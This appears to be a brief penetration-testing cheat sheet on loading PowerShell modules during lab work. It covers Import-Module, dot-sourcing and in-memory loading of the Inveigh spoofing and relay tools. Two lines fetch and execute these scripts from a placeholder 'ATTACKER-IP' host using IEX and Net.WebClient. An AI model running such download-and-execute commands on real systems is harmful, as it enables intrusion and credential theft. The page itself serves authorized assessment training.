PowerShell

Quick notes for loading PowerShell tooling/modules during labs and assessments.

info

Use these examples only in authorized environments.

Import Methods​

1) Import with Import-Module​

Use this when you have a module manifest (.psd1) available.

Import-Module ./Inveigh.psd1

2) Import using dot-sourcing​

Dot-sourcing loads script functions into the current PowerShell session.

. ./Inveigh.ps1
. ./Inveigh-Relay.ps1
tip

If a function is “not recognized,” verify the script was dot-sourced in the same session.

3) Load into memory with Invoke-Expression (IEX)​

Useful when pulling scripts from a remote host directly into memory.

IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER-IP/Inveigh.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER-IP/Inveigh-Relay.ps1")
caution

IEX with remote content is high risk. Validate source integrity and use HTTPS whenever possible.

Quick Check​

After loading, verify available commands:

Get-Command -Module Inveigh*
